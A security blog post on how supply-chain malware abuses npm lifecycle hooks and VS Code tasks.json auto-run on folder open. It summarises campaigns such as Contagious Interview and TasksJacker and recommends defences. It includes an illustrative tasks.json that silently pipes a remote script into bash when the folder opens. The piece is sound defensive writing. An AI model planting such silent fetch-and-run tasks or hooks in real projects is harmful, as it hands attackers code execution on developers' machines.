BLOG

How Malware Abuses NPM Lifecycle Scripts and VS Code Tasks

npm lifecycle scripts and VS Code tasks.json are productivity features that threat actors have learned to weaponize triggering malware

By cb482791-4ef1-4762-96ad-b0ca4bdd538e ·

How Malware Abuses NPM Lifecycle Scripts and VS Code Tasks

When I talk about how malware differs from vulnerabilities, a key point I hammer is that while vulnerabilities need some kind of attack path to exploit, malicious open source “can go boom without a path.” And this is critical for defenders and developers to understand because many people still assume the best practices that help us deal with CVEs will also defend against malware. That an unused dependency isn’t a threat. Reachability is not a thing for malware.

The campaigns we've been tracking at OpenSourceMalware increasingly don't work that way. Threat actors are increasingly taking advantage of two commonly used software development features: npm lifecycle scripts and VS Code's task auto-execution system.

I’m not here to say “never use those features\!” Lifecycle scripts and task auto-execution are features, not vulnerabilities. They exist because developing software is genuinely complex, and automation that removes friction has real value. The npm ecosystem built a lot of its tooling around the assumption that install-time execution is acceptable. VS Code built a task system that lets projects automate themselves on folder open. Both decisions made developer experience better.

But the same trust model that makes these features useful also assumes that packages and repos are benign. Threat actors weaponize that trust via compromised packages, hijacked maintainer accounts, and repositories injected with malicious configuration files. When the trust is violated, “executes automatically without prompting” stops being a feature.

In this article we’re going to cover what those features actually do, why they've become a preferred detonation mechanism for malware, and what you can realistically do about it.

How npm lifecycle scripts work

When you run npm install, you're asking npm to fetch a package and make it available to your project. That's the mental model. What's actually happening under the hood is more involved.

npm's package.json format supports a scripts field that can contain hooks tied to specific events in a package's lifecycle. Three of them are relevant here: preinstall runs before the package is installed. install runs during installation. postinstall runs after. All three execute automatically as a side effect of npm install, with no additional prompt or confirmation from the developer.

{
  "scripts": {
    "preinstall": "node setup-check.js",
    "install": "node-gyp rebuild",
    "postinstall": "node ./scripts/link-binaries.js"
  }
}

This is a legitimate, load-bearing feature. Not everything published to npm is a library meant to be imported into code. A significant portion of npm packages are CLI tools, native modules, and environment-specific utilities that need to do real work at install time. Native modules built with node-gyp have to compile against the local system. CLI tools may need to create symlinks, configure paths, or set up binaries. Packages that bundle platform-specific executables need to unpack the right one for the current OS. Lifecycle scripts make all of that happen automatically, which is exactly what developers want: install the thing, and it works.

How VS Code tasks work

VS Code has a task system designed to automate repetitive development actions: compiling TypeScript, running a test suite, starting a development server. A project can define its tasks in a file at .vscode/tasks.json within the repository, so the whole team shares the same automation without manual configuration.

One setting in that file is "runOn": "folderOpen". When a task is configured this way, VS Code executes it automatically the moment a developer opens the project folder. Combined with "reveal": "never" and "echo": false, which suppress terminal output, the task runs completely silently in the background.

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "setup",
      "type": "shell",
      "command": "curl https://example.com/setup.sh | bash",
      "runOn": "folderOpen",
      "presentation": {
        "reveal": "never",
        "echo": false
      }
    }
  ]
}

For legitimate use, this is genuinely useful. A monorepo with a complex setup can greet a new contributor with everything configured automatically. A project with platform-specific dependencies can run the right setup script for the developer's OS without them reading through a setup guide. It removes friction.

You probably see where this is going. The .vscode/ directory tends to get zero security scrutiny. It's not code. It's “just configuration.” But a task configured to curl a remote URL and pipe the result to bash on folder open is code execution.

Examples of malicious scripts and tasks.json

These are different mechanisms in different systems, but they share one property that makes both attractive to threat actors: they convert a passive developer action into code execution with no additional steps required.

npm install or opening a folder in VS Code is not “run this code” in most developers' mental models. But both can be, and have been, and are being exploited right now.

Historically, malware architectures required an attack path: a phishing email that gets clicked, a file that gets opened, a vulnerability that gets exploited. The features described in this article remove that requirement. The software development workflow itself becomes the trigger. A developer doing their job, exactly as they're supposed to, can compromise their machine.

This is why tools that scan for malware later in the SDLC (e.g. at build) are inadequate by themselves. Once you discover this kind of malware in your organization, you are already compromised. Let’s look at several examples where these scripts and tasks made a malware campaign more successful.

Examples of npm attacks \- Bitwarden CLI, Axios, and Nx

Preinstall example: Bitwarden CLI (April 2026\)

In April 2026, threat actors compromised the Bitwarden CLI with malware containing a preinstall hook to fire bw_setup.js. That script fetched the Bun JavaScript runtime directly from the legitimate oven-sh GitHub release endpoint. Fetching from an allow-listed, well-known source helped delay detection since it’s unlikely to trigger EDR or proxy alerts. Once Bun was installed, it executed bw1.js, an obfuscated infostealer that targeted AWS, GCP, Azure, and GitHub credentials and exfiltrated to a Checkmarx lookalike domain, audit.checkmarx.cx.

Postinstall examples: Axios (March 2026\) and Nx (August 2025\)

In March 2026, attackers compromised Axios and then published two versions with a new plain-crypto-js package added as a dependency. Axios itself didn’t contain the malware: it was the new dependency that contained a postinstall hook. That script fired setup.js, a heavily obfuscated multi-stage loader. That script deployed platform-specific Remote Access Trojans (RATs) with cross-OS coverage for Windows, macOS, and Linux.

The 2025 compromise of Nx (often called the S1ngularity attack) saw threat actors publish eight core packages. These malicious versions contained a postinstall hook that executed telemetry.js. That script searched developer environments for locally installed AI tools including Claude, Gemini, and Amazon Q, then used their elevated permissions to find and harvest secrets.

Examples of tasks.json attacks

North Korea’s Lazarus Group pioneered the weaponization of tasks.json files, which we documented in multiple campaigns. What started as a social engineering play (Contagious Interview) has evolved into automated, large-scale repository compromise (TasksJacker).

The earliest variant we documented used runOn: folderOpen to target developers sent fake job interview repositories. The Fake Font campaign buried the payload inside a .woff2 font file containing hex-encoded JavaScript rather than font data. The task executed node public/fonts/fa-brands-regular.woff2, which decoded and ran BeaverTail, a multi-stage loader that ultimately deployed the InvisibleFerret Python backdoor to steal cryptocurrency wallets and browser credentials.

The Malicious Dictionary campaign showed the threat actors anticipating defenders. Alongside tasks.json, they placed a file named spellright.dict (the format used by the legitimate SpellRight VS Code extension) containing 6KB of obfuscated JavaScript as a fallback payload. If a developer spotted and removed tasks.json, the backup was still in place. The campaign included platform-specific commands covering macOS, Linux, and Windows.

By January 2026, the technique had evolved beyond fake job repos entirely. TasksJacker dropped the social engineering pretext and went straight to compromising real GitHub accounts and injecting malicious tasks.json files into existing repositories. To cover their tracks, they rewrote git history to backdate commits and spoof author metadata, so a developer reviewing recent changes would see nothing unusual. The campaign evolved further into PolinRider, which targeted projects with over one million combined GitHub stars.

In Mini Shai-Hulud (April 2026), TeamPCP directly copied the tasks.json runOn: folderOpen primitive from PolinRider, bolting it onto a financially-motivated npm worm that hit four SAP CAP packages and spread to over 1,000 repositories. The technique that DPRK-aligned actors pioneered became crimeware in under eight weeks from the time it was publicly documented.

Realistic ways to close the gap

The message here isn't to turn off these features. Lifecycle scripts and tasks files serve a real purpose, and many packages you rely on today wouldn't function without them.

The problem is that “executes automatically with no prompt” is also a perfect description of how malware wants to behave.

For npm lifecycle scripts

Lifecycle scripts can execute in two places: on the dev machine and in CI. But while you absolutely need them on the dev machine (because they essentially create a local CI pipeline), you don’t need them to fire in CI. If you can segment your npm packages based on where they run, then you can strategically disable npm lifecycle scripts.

Most teams treat lifecycle scripts as something that runs unless you explicitly stop it, and unfortunately that’s reinforced by npm’s defaults. The practice worth building is the opposite: scripts off by default, opted back in when there's a specific reason. We advocate for inverting the default rather than adding a flag.

Pnpm v10+ takes this position at the package manager level by disabling lifecycle scripts by default and requiring explicit opt-in. If your use case is a library rather than a CLI tool, pnpm is worth considering for this reason alone.

The OWASP NPM Security Best Practices guide recommends using an allow list for lifecycle scripts as a more precise approach if you have the operational capacity to maintain one. Building awareness of this into existing security education for developers adds real value, even if it doesn't eliminate the risk.

The --ignore-scripts npm flag is designed to turn off lifecycle scripts for a single install:

bash

npm install --ignore-scripts

Set it globally in .npmrc to make it the default for your environment:

ignore-scripts=true

This won't break most codebases, but it will surface any packages that depend on lifecycle scripts to function, which is useful information in itself. For those packages, you can evaluate whether the lifecycle script is doing something legitimate and opt back in deliberately. To be clear, this isn’t using --ignore-scripts as a mitigation. The goal is scripts-off your baseline, with scripts-on as a conscious exception.

Limitations of --ignore-scripts

There are real limits to know about. --ignore-scripts doesn't protect against payloads embedded in a package's main entry point rather than a lifecycle hook. In the PolinRider campaign, the `tailwind-autoanimation` package carried its payload in index.js, which fires when the module is loaded, not at install time. That would have bypassed --ignore-scripts entirely.

Also, an npm-specific flaw was discovered by Koi Security in January 2026, which allows a malicious git dependency to ship a fake .npmrc that replaces the git binary with attacker-controlled code. When npm processes a nested dependency through that chain, it runs the attacker's script instead of git, achieving full code execution even with --ignore-scripts enabled. In February 2026, GitHub shipped a mitigation in npm CLI v11.10.0: a new --allow-git flag that gives you explicit control over git dependency behavior. It defaults to all for backward compatibility, so it won't protect you automatically. Add --allow-git=none to your install commands, or set it in .npmrc. npm has indicated this will become the default in CLI v12, but that's not where things stand today. Yarn remains unaddressed.

For VS Code tasks.json

VC Code tasks.json files run almost exclusively on dev machines (we’re seeing some examples in CI, but they’re rare). But unlike npm lifecycle scripts where turning them off on a dev machine will cause problems, you can (and should\!) disable VS Code auto-run tasks wherever they are.

VS Code turned off autorun tasks by default in January 2026 with the release of version 1.109, modifying the task.allowAutomaticTasks’ default to off. However, that doesn’t actually mean 1.109+ users aren’t at risk. Anyone who upgraded from an older version would inherit previous settings (i.e. if it was on for 1.108, then it would still be on for 1.109). Also, devs are notorious for turning this to on, and many probably did so without understanding why it’s risky.

To change the default, look at the setting task.allowAutomaticTasks:

// settings.json
{
  "task.allowAutomaticTasks": "off"
}

You can also set it to off , or with prompt, VS Code asks before running any folder-open task. One extra click. It's not a high-friction change, and it means a malicious task can't fire silently. Setting it in your organization's baseline VS Code configuration is the kind of low-cost, high-value control that's easy to justify.

Be deliberate about what constitutes a trusted workspace. Repositories you clone for evaluation, code review, or any other external purpose should not be opened with the same level of trust as your own projects. The Contagious Interview campaign exploited the fact that developers opening a repository for a job assessment would click Trust without thinking twice.

Reviewing the .vscode/ directory before opening any cloned repository in VS Code should become a habit for developers who regularly work with external repos. It's not executable code in the traditional sense. But as every campaign documented above demonstrates, it can be.

Other mitigations

None of these mitigations are absolute. That's worth saying clearly. Each one adds friction for the attacker and reduces your exposure, not that any of them closes the risk entirely.

In the case of npm lifecycle scripts for packages that run on developer machines, since they often can’t be disabled, you need other mitigations. This is where various endpoint security products can be very helpful. Internal registries are becoming common at bigger organizations, and when paired with a strong malware feed, they can provide vetted packages for consumption. However, these can be easy for developers to intentionally circumvent, especially on Mac OS computers.

A new category we started seeing in 2025 is the supply chain firewall (sometimes called a package firewall, or a malware firewall). The concept here is a real-time analysis of whatever a developer is trying to install, combined with a blocking ability if they’re trying to install something prohibited by a policy. This can be effective, but it’s worth noting that it requires another agent on developer machines, which can be an uphill battle. Also, like with setting policies in an internal repository, they’re only as good as their malware feeds.

Endpoint Detection and Response (EDR) is the more classic tool for this space, and we still think it has a place. But it’s important to understand that EDR’s role is to detect anomalous behavior, not prevent it.

We may all roll our eyes at the phrase “defense in depth,” but it holds true for preventing consumption of malicious open source. Several tools and practices are needed to decrease the chance of a software supply chain incident.